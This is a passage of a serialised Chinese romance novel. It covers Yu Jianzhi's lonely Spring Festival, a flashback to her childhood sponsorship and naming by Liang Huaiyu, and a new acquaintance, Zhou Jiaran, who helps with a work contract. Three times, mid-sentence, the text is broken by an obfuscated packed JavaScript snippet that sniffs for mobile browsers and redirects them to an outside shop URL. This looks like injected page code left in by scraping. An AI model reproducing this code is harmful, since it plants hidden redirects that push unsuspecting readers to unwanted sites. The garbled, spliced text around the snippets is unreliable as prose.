不过余简之并不打算回老家过年,于是向林芝韵申请了将年假延后再休,除夕加班。她强调她不需要三倍薪资,该放的假还是要放,只是延后而已。 林芝韵点点头,答应爽快:“嗯,毕竟美国佬不过春节,留个人和他们沟通处理一下事务也挺好的。”林芝韵说的是大卫他们团队。 这事就这么定下了。 除夕前夜,余简之尚在公司加班,接到文容打来的电话。 这几天来,文容陆陆续续打来好几个电话,余简之很不想接,却也不得不接。 “哥哥。” “晚上好,简之!”对比余简之的死气沉沉,文容倒是神清气爽的,余简之也不知道他到底知道了多少,“今年不回去过年了,是吗?明天就是除夕了,有什么打算?” “打算?在家和平安吃年夜饭啊,还有什么打算。” “来哥哥这过年吧!” 余简之果断拒绝:“我和平安去文容哥哥那里倒是没问题,但是你要叫上另外一个哥哥就不行。” 文容叹气:“小简呀……” 余简之来了脾气:“我亲口跟他说的,永不相见!他也应了!” 手机放在桌上,她捂着脸哭,文容还在说什么,可是她听不清了。 除夕上午余简之来了趟公司。今天公司真是一个人没有,静得可怕,余简之打开灯和空调,默默走到工位。 余简之没那么热爱工作,除夕夜她不可能加班到深夜,因此立刻投入到工作中,早做完早下班。然而有一个棘手问题一直没有解决,双方在核心创意概念上产生了分歧,并且说起某个条款,大卫那边的人突然就变了脸色,余简之完全搞不懂是什么情况。 美国人都这么情绪化么? 直到下午三点她离开公司,还是没能解决。 余简之收拾东西,返回家。在地铁上,她收到一条好友消息,显示是郑以薇的推荐。 不是,她以为只是说说而已,怎么真的推来了? 她盯着屏幕看了几秒,拇指一动,按下同意。 【周佳然:你好,我是以薇的高中同学,我叫周佳然】 余简之记得郑以薇高中是在美国念的。 【余简之:你好,我叫余简之。你现在在美国吗?】 【周佳然:我们全家定居在美国,不过目前在河北,这个新年我们回来团圆,顺便祭祖】 【余简之:我在北京】 【周佳然:我知道,你是以薇同事嘛】 之后两个人随便聊了聊美国的生活。余简之不喜欢和陌生人聊天,尤其是男生,一旦周佳然不主动发来消息,余简之也就将他抛到脑后。 还是吃饭时余平安拿着她的手机翻了翻周佳然的朋友圈:“哇哦,长得还可以啊。” “你好肤浅啊。”余简之说。 姐妹俩不想吃剩饭,打算做一餐吃一餐,因此年夜饭只有四菜一汤,两个人只吃菜,不吃饭,刚刚好。 余平安买了酒,两个人一边喝酒一边吃饭,慢悠悠吃完,春晚刚好开始。 余简之很久没看春晚了,尽管网上都说一年比一年无聊,她却看得津津有味。 零点那会,余简之已经懒洋洋地躺在沙发上,听着主持人倒数。电视机发出零点的钟声,窗外却一片安静,零星响起烟花声,像从很远的地方传来。 “没年味。”余平安批评。 余简之反驳,“保护环境,人人有责。” 余平安收到爸妈的电话的同时,余简之的手机也嗡地炸起来,是梁景翊打来的视频电话。 “简之,新年快乐呀。” 他站在院子里,左右两旁透着他身后的热闹景象。 “新年快乐啊。” 余简之竭力不去看钻入她视线的某个人影。 “叫声哥哥我给你大红包。” “有多远滚多远!” 两人嬉嬉笑笑就把年拜完了。挂断视频,余简之又回复了几条朋友的新年祝福。 【周佳然:新年快乐】 【周佳然:[视频]】 视频内容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332002|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是升腾的烟花。 【余简之:哇!好美!】 【周佳然:嗯,我想到你们那边应该看不到烟花】 【余简之:还是有人放烟花的啦!在五环外可以放的】 【周佳然:那你有去放烟花吗】 【余简之:[捂脸哭]没有,懒得凑这个热闹】 【周佳然:那你就看看我这边的烟花吧,咱俩热闹热闹】 【周佳然:[视频]】 余平安拿着手机过来:“妹妹,爸妈要跟你说话。” “哎,好。” 余简之接过手机,热情地向余爸余妈拜年,惹得他们好一通夸,无非是长大啦、变开朗了、真会说话不像咱们平安。 “嘿嘿嘿,平安是说得少,做得多。”余简之轻轻松松将三人哄得服服帖帖。 周佳然又发来几条视频。看着烟花在空中绽放。升空、炸开、落下——心头难以名状地空了一块,余简之随便回了两个表情包,放下手机,起身去洗漱。 她拒绝了平安睡一个被窝的提议,今天她想一个人静静。平安帮她掖上被角,轻轻带上门。 黑暗中,余简之翻了个身,脸蛋埋进枕头里。 手机还在响。余简之翻身拿起手机,有些失落。 【周佳然:不开心吗?是不是因为没回家过年?】 【余简之:我没有说我不开心啊】 发完这句话,她退出聊天界面,在搜索框搜索“哥哥”。点开梁怀聿的朋友圈,没有更新,她判断不出他有没有像从前那样将她拉黑。 【周佳然:我感受出来的】 【余简之:你感受错了】 【周佳然:不对啊,我应该没感受错】 余简之一笑,放下手机不再回复。 新年第一觉,比想象中安稳。思绪随梦飘散,回到旧时光。 第一次见梁怀聿,是夏天。 文容俯身发给孩子们的书,尽管她十分爱惜,也依然渐渐被摸得磨损、破旧。这是她童年第一次接触到非天然的玩物,无限的探索欲推着她一次次重复翻阅的动作。她爱上了看书,却只能不断进入同一个世界,阅读同一个人生。 第二次见到梁怀聿,是秋天。 暄气初消,秋风习习。 八岁的余简之和九岁的余平安走在放学路上——土黄的山坡、泥泞的泥土、长满杂草与树枝的路,是两位小女孩的上学路与放学路。 每天,她们都要走这条路去隔壁村上小学。 小学一共有两个班级,低年级班和高年级班。余简之和余平安都在低年级班,如果梁怀聿没有出现,她们将在明年升入高年级班。 但是,神奇的事情就是这么发生了,天使就这么降临了——在一条连狗都不愿意上来的路上,两个温柔的大哥哥在等她们。 小小的脑瓜怎么记得住那么多事情,几个月前看见的温柔大哥哥,她早就忘记了模样。当他们再次出现时,余简之只觉得他们好眼熟,好像几个月前也有两个与村民完全不同的人出现。 站在前面的那个哥哥蹲下来,温柔地伸出手:“你好呀,妹妹。还记得我吗?” 那个时候,余简之还不叫余简之。周围人都叫她“妹妹”。 27. 回忆 梁怀聿坚持要领养那两颗土豆,对此文容很是恼火。他选择了冷处理,等这位弟弟去了美国念书,自然就忘记了这个小插曲,谁料梁怀聿记忆力惊人,开学第二周就为了此事特意赶回。 于是一个秋高气爽的日子,两人再度下乡,只是这次换作文容陪梁怀聿了。 文容很不理解,“你家又不是没小孩,你喜欢养,养你弟不行吗?” “他养不养都是那副样子,但养这两个孩子,她们的人生就会被改写了。” “少看点爽文吧!”文容说,“你别真以为你资助她们,她们就能从贫困户变首富了,平庸才是常态。资助归资助,我劝你真的要改改这个想法,放低期待,不然等她们长大,你会接受不了的。” 他嘀咕:“再说不还有一个是哑巴吗?” 梁怀聿皱眉:“不是哑巴,她只是不爱说话。” 嗯,村长说的是脑壳有点问题…… “哎哟,离了那颗豆子就是个哑巴,还说不是呢。” 他们在县城休息了一晚,第二天清晨进村,到达时刚好正午。来都来了,不可能空手来,文容给全村孩子准备了冬装和新文具。 这次两人目的明确,村长得知他们打算长期资助两位女孩,很是兴奋地介绍:“这两个女孩都很听话乖巧,如果能好好读书,以后肯定也能找个好工作!只是她们家庭情况不好,这个妹妹呢,是平安爸妈顺带着喂口饭长大的,只够温饱。” 文容还是很在意:“这个妹妹是不是脑子不太灵光?” 村长唯恐他们放弃资助,连连解释:“没有没有,她只是个性内向,胆子小,不太爱说话。” 两人在村长的带领下再次来到余平安家。小女孩们去隔壁村上学了,两位大人在家,就向他们了解了一下情况。 夫妇二人身体不好,无法进城打工。家里还有两亩地,虽然不多,但春要播种,秋要收割。两个老弱病残,再加一位病入膏肓的老太太,三个人收一块地都累够呛。 可以说,全家人的指望就是两个屁大点的小孩了,等着她们长大、帮忙播种收割、闲时再去外打工,赚点吃饭钱。 说要供他们读书,两位大人泪眼汪汪,还以为自己的娃是块读书的料才被挑中,感恩戴德地说“只要孩子能成才,送哪去上学都愿意”。 他们都只念过小学,三十载过去,字都不太识了,也不太了解除了村庄外的社会的运行规则。 文容向他们解释:“能不能成才另说,家里总要有知识分子。现在怀聿,咳咳,梁先生愿意资助你们家小孩去念书。” 梁怀聿主动说,是送她们去镇上或城里的小学,现在有寄宿制的学校。她们在乡下,上学太麻烦,设施和环境也不好。只要孩子肯上进,供他们上到大学都不成问题。 大人赶紧确定是不是两位小孩都能去念书。 文容轻描淡写地说:“哦,你们家有两个孩子是吗?好像上次看到有两个女孩。” 他们连连称是。梁怀聿顺理成章打探起两位女孩的情况。 小豆子叫平安,平安旁边的小瘦豆叫妹妹。妹妹在他们那的方言里,就是女孩的意思。换言之,这小女孩根本没取名字。 这也难怪,她的亲生母亲是个被逼疯的女人,养母是不会说话的哑巴。没人给她取名字,从小就叫她妹妹、妹妹,八年过去了,这就成了她的名字。 “户口上也叫这名字?” 村长说还没有上过户口。 梁怀聿便说:“那上个户口吧。” 两位大人倒是大方,恨不得把两个孩子都送给他们,尤其是这位无父无母的小孤女。文容和梁怀聿面面相觑。 他们有种笨拙的热情,梁怀聿不擅长应付这,文容接过话:“妹妹的户口上在你们家就好,不然没法念书。学费和生活费我们会承担,你们家女儿也是一样。” 这件事几乎不用商议,夫妇二人对他们的任何方案都支持。善良的夫妇俩给妹妹一口一口喂大,如今到了上学的年纪,开明地让女孩们跋山涉水去上学——在贫瘠之地,允许就已经是最大的支持了。 眼见夕阳西下,事情聊得差不多了,村长说两位小女孩也差不多放学了。他解释乡下放学比较早,因为有的孩子回家时间久,乡路本就不好走,要是深夜那就完了。 梁怀聿提议:“我们去学校看看吧?”顺便看看学校环境和设施,差什么,到时候也好捐赠。 “这个点差不多都放学了,去也看不着什么。”村长这样说着,还是为他们带了路。 总说乡野风景好,梁怀聿一路走来,不尽然。光看景,自然是美的,空气也清新,山野间弥漫着浓郁的草香;可脚下的路不好走。这完全不叫路,仅仅只是人长期走、踩踏而出的一条小径。时时刻刻要注意脚下的路,哪有闲情欣这赏那的。 走过一段难走的路,村长说接下来只需一直沿着这条小径走,就能到学校。文容跟村长说:“你回去吧。我们在这走走。” 村长离开后,文容拉着梁怀聿说:“这真的是两个没有尽头的拖油瓶啊。” 但是他嘴软心硬,又忍不住说:“资助她们读书很好,但是不要花太多心思。你千万别把自己当救世主,你不是无所不能的,小心别让自己受伤。” 梁怀聿说:“你总是瞻前顾后。这对夫妇其实很善良。” “善良归善良,他们恨不得把孩子送给你。也不想想你才多大,把俩拖油瓶送给你,他们就省心了?” “这也没办法,他们尽全力把孩子养大了。能去读书,也还算不错。” 自那次回来后,梁怀聿看了不少这样的纪录片。虽然义务教育基本普及了,但在偏远农村,大多数孩子依然是半务农半念书的状态,或念着念着就因各种各样的原因不念了,例如上学路程太远、家里稻子没人收、哥哥娶妻需要彩礼,没有闲钱给妹妹了之类的原因。 在重男轻女的农村,能让女孩子“浪费时间”去念书,已经是矮子里拔高个的顶好家庭了。 “不管他们是好人还是坏人,你都别想得太好。反而要去想最糟糕的情况,省得到时候失望。” 梁怀聿不乐意听文容说教,也不赞同他的观点,敷衍地应:“我知道了。” 沿着小径走了一段,听见小女孩的笑声。这是一段山坡,他们恰好站在山坡下,只闻其声未见其人。 文容问:“是不是她们两个?”话音落下,就见两位小女孩手拉着手从坡上过来。 看见他们,笑声立刻顿住了,女孩们齐刷刷停下脚步。隔着一顿距离,女孩们彼此握紧了手,紧张兮兮。像两只猫,一声惊乍就能把她们吓飞。 文容说:“呀,瞧这样子,定是把我们忘了。” 梁怀聿蹲下来,温柔又耐心:“你好呀,妹妹。还记得我吗?” 两个女孩都惶恐地看着他。被她们盯了十几秒,梁怀聿有些发毛,刚想缩回手,女孩们慢一拍地才想起他是谁,于是手拉着手,慢吞吞地走向他们。 妹妹还是胆子小,同上次一样怯怯的,小豆子会眼色地喊了声“哥哥”。 梁怀聿瞧见她们背的书包,是上次文容捐赠的。不知怎的,光看见这,他就心软了。 小孩子到底是小孩子,不知道他们是特意来找她们的,还以为是恰好在路上碰见。 文容和梁怀聿跟着她们,一路询问她们的学业,两个孩子都懵懵的,有些不清不楚地答话。 妹妹很害羞地躲在平安身后,不太讲话。 文容很会哄孩子:“多说说话哦,小妹妹,你的声音多好听呀,像只小黄鹂鸟。” 过会儿又说:“你说话就像一只清脆的大苹果,甜甜的,脆脆的,我可喜欢吃了。” 文容掸掸梁怀聿:“你也该说些好听话。” 这些话,梁怀聿说不出口。但在文容的几番攻势下,等走回家时,妹妹已经敢在平安前面答话了。 原来两位妹妹读书都很努力,可以说是少见的那种喜欢读书的孩子了。上次捐赠的课外书,女孩们都翻烂了。 文容听得泪汪汪,转头又附在梁怀聿耳边说“你可不要太感动,乡村学校的老师不严格,学业也不难,爱上读书可太简单了”。 梁怀聿恼火地把他推开。 回到家,两个女孩子就拿出捐赠的课外书,看得出来她们很爱护,但是经过多次翻阅,多少有些磨损了。文容立刻说以后得多捐点课外书才行。 梁怀聿进入她们的小房间,两个女孩儿睡一张床上,胜似亲姐妹。 妹妹紧紧揪着平安的衣袖,半个身子躲在身后。她还是那么瘦,小,稍稍侧身,整个人全躲进平安身后了。 梁怀聿坐在小板凳上,温柔地叫她们:“妹妹,平安,你们还想读什么书呀?” 平安说:“《我要做好孩子》。” 梁怀聿说:“是黄蓓佳老师的书,对吗?” 两个孩子对视一眼,摇摇头。她们只知道书名,不知道作者是谁。原来这本书是在她们捐赠的书里的序言里看到的。 “这是一位非常棒的作家,她写了很多好看的书,不止这一本哦。如果你们想看的话,我们可以去书店买齐,你们慢慢看。” 这时妹妹小声说:“书店……?”两个女孩只在语文书上看见过“书店”这个词,今天是第一次在生活中碰见有人使用这个词。 “对,书店有很多很多书。你们想看的书那里都有。”梁怀聿招招手,“来,过来吧,告诉哥哥,你们想看什么书,哥哥给你们买。” 等文容和村长及夫妇俩谈完话进来时,就看见两位小女孩已经被圈在梁怀聿的怀抱里,仰着头听他谈天说地。 梁怀聿缓缓将手搭在妹妹身上。 还是那样,硬的触感。即便隔着两层衣服,也感受到她的坚硬。他控制自己不去想那只猫的死状。 梁怀聿盯着妹妹的眼睛,很慢很慢地开始分享。 女孩们对他嘴里的世界很好奇,平安一直追问,妹妹不太敢说,只听,梁怀聿时不时会停下来问她,你喜不喜欢这样的世界。 妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348466|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹问:“是书里的世界吗?” “不是呢,是现实。” 他抬手指着方向:“沿着这里,走很远,很远,就到镇上。你们去过镇上吗?” 两个女孩点点头。 “到了镇上,再沿着这里,走呀走,走得更远,就到了县城。县里,有去过吗?” 两个女孩不确定了,点头又摇头。 “县城再往上,走比刚刚加起来都要远的路,就是你们的省会长沙哦。去过没有?” 两个女孩没去过,却抢着答话: “爱晚亭。” “橘子洲头。” “是的,你们真聪明。” 两个女孩相视一笑。 “再往上,一路向北,”梁怀聿的手遥遥指着,“我们的首都,北京就在那儿。” “北京。”平安小声重复。 “是的,北京是哥哥的家乡。哥哥在北京出生、长大。” “天安门。”妹妹小声说。 “对,天安门是北京的市中心。每天在那里都有升旗,想不想看呢?” 两个女孩异口同声:“想。” 梁怀聿抚着她们的脑袋,一手一个:“好好读书,以后就可以看到。” “很远吗?”妹妹问。 “很远,但聪明的孩子可以借助工具。只要走出乡村,来到镇上,我们就可以坐汽车,到了县城,我们可以坐火车,等到了长沙,我们就可以坐飞机或者高铁。” 平安说:“但是去镇上很麻烦。” 梁怀聿顿时眼睛发酸,他闭了闭眼,半晌才睁开。 “是的,去镇上很麻烦。这是最难走的一段路。但是,哥哥会陪着你们。” 村长和余爸余妈激动地告诉两位女孩,你们可以去外面读书了!梁先生愿意供你们上大学! 两个女孩仍有些懵懵然,无法完全分享他们的喜悦,直到她们走了很远很远的路,来到镇上,坐着汽车,来到县城。 镇上有寄宿制的学校,梁怀聿看过环境后,干脆好人做到底,送到县城条件更好的小学念书。梁怀聿不想让她们太脱节,八岁理应是小学三年级,那就从三年级开始读。担心跟不上,课余时间便被补习班塞满。 文容向乡村教师求证,妹妹智商没问题,学习上不笨,就是讲话慢慢吞吞,不敢表达。以防万一,两人带着妹妹来到长沙检查,确认脑子没问题。 因为长沙不远,就带着平安一块儿来了。离开医院,带着她们去了爱晚亭。第二天,去了橘子洲。下午,来到书店。 两位小孩儿第一次看到这么多书,惊得要跳起来,梁怀聿赶紧拉着她们:“在书店要小小声说话。不对,尽可能不要说话,不能打扰别人,知不知道?” 梁怀聿答应她们,想看的书都可以买下来,只要她们拿得动。 女孩们自己去挑书,两位大人站在旁边等待,梁怀聿随手拿起一份报纸,读到第二页,裤腿被拽了拽。 他低头一瞧,是妹妹。 跟着他们大鱼大肉吃了几天,脸上已经有发腮的痕迹了。手臂呢,摸起来也没有那么骨感了。 此刻她仰着头,黑漆漆的眼眸亮亮的。 梁怀聿半蹲下身,耐心问她怎么啦。 妹妹踮起脚尖,凑到他耳边。她没忘记他的叮嘱,声音小小的,比翻动书页的声音更轻: “哥哥,可以买这本吗?” “当然可以。”梁怀聿说,“不用问我的意见,妹妹选自己喜欢的书就好。” 那天女孩们如愿以偿地买到了黄蓓佳的《我要做好孩子》。 一切办妥,还有最重要的一件事,上户口。 户口一上,妹妹的名字就定型了。不能真叫妹妹这个名字吧。 余家人完全将这事交给了梁怀聿。在他们看来,妹妹已经是他家的小孩了。 梁怀聿说:“可以问孩子自己的意见了吧?八岁了,也该有主见了。” 文容不赞成,屁大点小孩懂什么。梁怀聿跑去问,妹妹答:“我就叫妹妹呀。” “大名呢?大名想叫什么?” 妹妹稚气地答:“余妹妹。” “为什么?你很喜欢妹妹这两个字吗?” “名字不是让别人叫你的吗?大家都叫我妹妹哇。”妹妹用一种看傻子的眼神看他。 文容笑得前仰后翻。笑够了,才给梁怀聿推荐了几个名字:“余佳恩,怎么样?毕竟得有一颗感恩的心嘛。哎,余怀恩也不错,念着像你妹妹。” “你真俗气。”梁怀聿无语。 直到上户口那天,梁怀聿才说出他想好的名字:“余简。” “哪个简?” 他答:“大道至简的简。” 他没有解释更多。 手续将办时,两个字在唇齿间念过,忽又觉拗口,少了些余韵与开阔。 他提起笔,自然而然地在后面添了一个字。 余简之。 唯愿她这一生步履轻简,人生简纯,一切恰好落定。 28. 立春 余平安将余简之喊醒:“我准备煮汤圆和甜酒冲蛋,你起来吧。不是说今天还有工作吗?” 余简之缩进被窝,不肯起来:“没睡醒。” “你昨天喝太多酒了吧,都十一点了,还不快起。” 一听时间,余简之扑棱起来:“完了!我早上有个会!” 中国与美国的时间很难协调,因此会议基本是在上午。 “不是明天吗?今天初一。” 余简之闻言又立刻躺进被窝:“那我继续睡了。” 她这个懒样,余平安知道催不动她,干脆也躺进被窝,余简之被她挨得一凉,赶紧蜷缩起来:“你身上好凉!” 余平安热热的手贴来,余简之立刻当热水袋握住。 “新年快乐,妹妹。” 余简之亲昵地贴过去:“姐姐,新年快乐。” 过一会,她哼起来:“祝你新年发大财呀发大财。” 余平安敲她脑门:“你真是掉钱眼里了!” 余简之笑笑:“其实你那天没说错,钱才是最重要的。” 余平安不说话了。半晌后,她才慢吞吞接上:“其实我们是该把钱还给哥哥。 “哥哥对我们很好,在我们身上已经花了很多钱了。没道理总让他付出。” 余简之没什么情绪地“嗯”了一声。 “那两百万我会陪你一起还给他的。”余平安郑重其事地说。 余简之被她逗笑,揉着脸钻进她怀里:“你猜哥哥会不会收。”她心知肚明。 “他收不收是他的事,我们该有这个态度。” “那天我都是强行把钱还给他的……” “真永不相见了?” 余简之诚实地说:“我不知道。” 她说那话的那刻,是真的气晕了。有个词叫情绪作祟,生气时,她不是被大脑和理智控制,而是情绪。过了几天,慢慢将自己从那时的情绪中剥离出来,能够以旁观者的姿态认真审视这件事。 余简之小声呢喃:“其实,哥哥也没说错。如果我在网络上刷到这么一件事,我第一反应肯定是这个男的资助她们时就别有用心,把女生当童养媳之类的。” “你上次还说上网看到的都是事件的一面,不要妄下定义。” “所以我都说了是第一反应嘛——何况,就算后来我能不先入为主地去想整件事,别人呢?平安,你……你怎么看我?不觉得……我很恶心吗?” “恶心什么?” “我喜欢上哥哥呀。他,大我那么多,我们从小都把他当长辈的,你不觉得我特别无耻吗?” “你想听实话吗?” “嗯。” “如果你不是简之,我可能会觉得有点怪。我的意思不是我纵容你啊,而是我知道你们的感情是怎么变质的。爱上哥哥这样的男人无可厚非。” 余简之笑着打她:“你说怎么变质的?” “就是高中那会呀,自从高二后哥哥不是就没缺席过咱俩的家长会吗?” 每逢家长会,学生就可以提早放学。高中生简之和平安却要在校园里等哥哥,因为哥哥好不容易来趟这边,要带她们去吃饭,在席间询问她们的学习和生活情况。 梁怀聿基本是卡点赶来学校。来不及与两位小姑娘说几句话,就匆匆进入教室,在余简之的指引下,在她的座位上坐下。 初中那会,文容和梁怀聿曾凑巧到这边出差,顺带开了个家长会,那时是各坐一个座位;后来怕她们被同学议论,派过助理来开过家长会,两名助理,一人一个座位。等上了高中,梁怀聿关心她们学业,故千里迢迢赶来,这时便是轮流坐她俩的座位了,从不厚此薄彼。 余简之和余平安在教学楼外的那棵槐树下等。余简之一直举着小镜子,打理她的刘海,时不时询问余平安“好不好看”。 “毕竟女为悦己者容嘛,那个时候我就发现你喜欢上哥哥了,”余平安说,“但是吧,我怕担心你学习。你本来没发现的,我一说,你就开始在意了,那咋办?” “你马后炮还想邀功呢!” “我骗你干嘛,那个时候哥哥喜欢你,我也发现了。” 余简之没听她说过这些,好奇起来:“细说。” “就是一些很小的事情,”余平安认真想了想,“但是放在一起,就不太一样。” “比如?” “比如,他一直对你更上心。就连家长会,如果是坐你的座位,哥哥都会更晚出来。” 余简之一愣:“有吗?” “有啊,每次等得无聊,就盯着教室门看。只要是你,他就慢吞吞的。怎么?你之前没发现过吗?我还问过哥哥呢,他就说简之的卷子有点意思,多看了两眼。那次你考得还没我好呢,有什么可多看的?” “你想太多了吧,因为哥哥对我要求严点,这很正常吧。” “那他干嘛会对你要求严呢?还不是因为在乎。你想每次吃饭的时候哥哥都会夸我,或者顶多说让我下次细心,但是对你呢就会反反复复看你的卷子,提醒你这提醒你那的。他对你要求多,还不是因为有期望。他特别怕你学不扎实。” 余简之叫苦:“我那会就怕他批评我,我可羡慕你了。” “但是最后的结果是你考得比我好呀。” 余简之一本正经:“这大概和哥哥没有关系。” 余平安怒骂:“我读书不比你懒好么!” “那问题就出在智商上咯。” 余平安转头掀开被窝挠她痒,余简之嗷地大叫一声。姐妹俩打打闹闹,总算是把床起了。 姐姐去煮汤圆,妹妹边洗漱边看手机。 【周佳然:新年快乐呀】 【周佳然:今天上午就出来走亲戚了】 【周佳然:[图片]】 【余简之:哇哦,好多亲戚】 尬回一句,又点开文容的头像。 【文容:简之妹妹新年快乐】 【文容:[红包]】 余简之握着牙刷的手一抖,跑到厨房大喊大叫:“文容哥给你发红包没有!” “发了呀。怎么了?” 文容之前包过红包给她俩,但都是实体的,这还是第一次包线上的。 “多少钱呀?会不会很多?我不知道该不该领啊。” “你是不是傻子啊,”余平安无语,“红包上限就是两百。” 余简之点开红包,甚至没两百,是一百。 她发了一串“谢谢”“新年好”的表情包,然后才说: 【余简之:谢谢哥哥,但是这红包面额是不是和您的财力不太符合呀】 【文容:还是小简之懂事,大简之完全是财迷了[微笑]】 【余简之:我记得小时候哥给咱俩的红包好歹都是两百元吧】 【文容:经济不好,红包也跟着缩水咯】 【余简之:……】 【文容:多的去找你怀聿哥哥要】 【余简之:[微笑]】 【文容:来啊,过来要红包】 【文容:[图片]】 文容发来的照片明显是刚拍的,一片喜气洋洋的红,上头挂着灯笼,下头挂着摇钱树。余简之认出,这是当初见家长的老宅。 他又发来一张图片,这次有两个人入镜了,是梁怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355724|197269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聿和梁景翊兄弟俩,站在餐桌旁手里拿着东西,像是在布置什么。她快速按了下屏幕,将图片关掉。 【余简之:哥您自拍吧,我后知后觉发现你是惊为天人的大帅哥】 【文容:少油嘴滑舌,新年新气象,给自己一个改变的契机,来吧】 【余简之:哥哥,我真不去,咱们微信上拜拜年就好,心意不减】 一通鬼扯,总算将文容打发走。 余简之精疲力尽地瘫倒在餐桌旁,享用热乎乎的汤圆。 “你要不要去看下哥哥?”余简之问平安。这里的哥哥,指的是两个人。 “好为难,”余平安苦恼,“你说我该站在谁那边?一边是哥哥一边是妹妹,很难抉择啊。” “你也可以站在文容哥那边,劝我去拜个年。”余简之诚恳提议。 “我劝你有用么?” “没用。” “那不就是了。” 两人下午去了什刹海,原本以为大年初一大家都去拜年了,没想到人挤人,广播里说没有滑冰工具了需要自己找,两人进场捡了俩车,没浪费票价,尽兴地玩了一下午。 第二天余平安接了个线上辅导,也不知道哪家的倒霉小孩初二就要上课。余简之则一大早就起来给两人蒸了早饭,然后回到卧室支起电脑开会。 和大卫团队的所有沟通都很顺利,一方面小组这边做得非常完美,另一方面大卫很欣赏她,由她去沟通非常高效。 余简之就是不明白,为什么这么大公司会纠结一个毫无意义的条款。为了这,她来来回回与他们掰扯好几回。 会议再次无疾而终地结束。 【周佳然:早,今天得去祭祖。你呢?要不要去故宫转转】 【余简之:早[咖啡]打工呢】 【余简之:[图片]】 她随手拍了一张电脑屏幕发过去。 【周佳然:不是还在过年么】 【余简之:这个合作品牌是美国那边的,他们不过新年。加上我打算之后再休年假,就干脆过年加班呢】 【周佳然:哈哈哈,不会是凯瑞世吧】 【余简之:?!对】 【周佳然:你照片里拍到了他们的logo。我们公司和他们也合作过,所以很模糊我也看出来啦】 【周佳然:要是有什么问题可以问我,我觉得他们还蛮难搞的,要求好多】 【余简之:你也是和大卫他们对接吗TT真的很痛苦,有一个条款他们一直不给过】 【周佳然:哦,我好像知道你说的是什么了。要不发给我看看?放心,我不会泄露出去的】 余简之将别的地方打了码,只发了那条与他们沟通未果的条款。 【周佳然:我就知道】 紧接着,周佳然发来了一段英文条款草案。 【周佳然:当时我们也这样被为难的。你按照这个再和他们沟通沟通】 【余简之:收到!】 【余简之:好像解决啦!!他们说节后会再安排会议详谈】 【余简之:太感谢了!!新年快乐!!】 【周佳然:哈哈哈,你突然好热情,前几天还有些冷冷的】 这话整得余简之心虚了。好像确实是这样,有事才热情,没事就晾着人家。 【余简之:没有没有,是因为我前几天心情不好,不过你帮我解决了一件大事,此刻我的心情非常美妙[拜托]】 【余简之:有空请你吃饭哦,谢啦】 【周佳然:你的有空是什么时候呢】 【周佳然:我下周就有空】 【余简之:??!】 29. 立春 【周佳然:下周我会来北京,我小学同学结婚】 话说到这份上了,余简之只好应了。 【余简之:那你来了告诉我吧,我基本都有空,到时候再约】 【周佳然:好】 【余简之:你想吃啥咧?】 【周佳然:不是白人饭就行】 最后余简之带他去了圣诞夜余平安请客的餐厅。 “当时你说不想吃白人饭,我就想说带你来吃炒菜。上次和朋友来过,味道挺不错。” 周佳然露着酒窝:“谢谢,我确实想吃炒菜了。” “在美国是不是不太能吃到?” “刚来美国时会有这样的烦恼。不过我们家已经移民比较久了,而且我们居住的是华人社区,时常能享受到邻居的投喂。你呢?你在美国时还好吗?” “我不挑食,白人饭也吃。而且我动手能力强,想吃的东西都能自己做出来,哈哈哈。” “那很幸福呀,感觉你特别独立。你父母应该是那种要求比较严格的吧,虽然会托举你,但也会很早放手。” 余简之笑笑,低头喝了口汤,没继续这个话题。 周佳然是很典型的北美华人,因为移民时间不长,身上既有白人的热情乐观,也有华人的克制有礼。 周佳然给这顿饭极高的评价,不管是否有她的原因,余简之对夸奖照单全收:“你喜欢就好。” “以后你来美国我请你吃饭。” 余简之权当客套话,随意应了声:“好啊。” 她结了账,同周佳然一起出了餐厅。走到门口,周佳然说:“等一下。” 他在包里翻了翻,面露歉意:“我耳机好像落在桌上了,我回去取,麻烦你在这里等我一会儿。” “好。” 独自站在餐厅门廊下,冬夜的冷风从脖颈处钻入。她犹豫是否要回到温暖的室内等候,转念一想周佳然应该很快回来,便只是将大衣领子拢紧了些,轻轻跺了跺脚。 身后传来玻璃门被推开的轻响,以及隐约的脚步声和交谈声。余简之下意识以为是周佳然回来了,带着礼貌性的微笑转过身。 笑容瞬间凝在嘴角。 率先映入眼帘的是梁景翊那张带着些许惊讶的俊朗面孔。他身旁半步,一道更为高大沉稳的身影,恰站在门廊暖黄灯光与室外寒意的交界处,身前身后仿佛两个世界。 “啊,简之,好巧,你怎么在这里。” 余简之默不作声从旁边收回视线,她看着梁景翊,道:“我同朋友来吃饭。” “平安吗?” 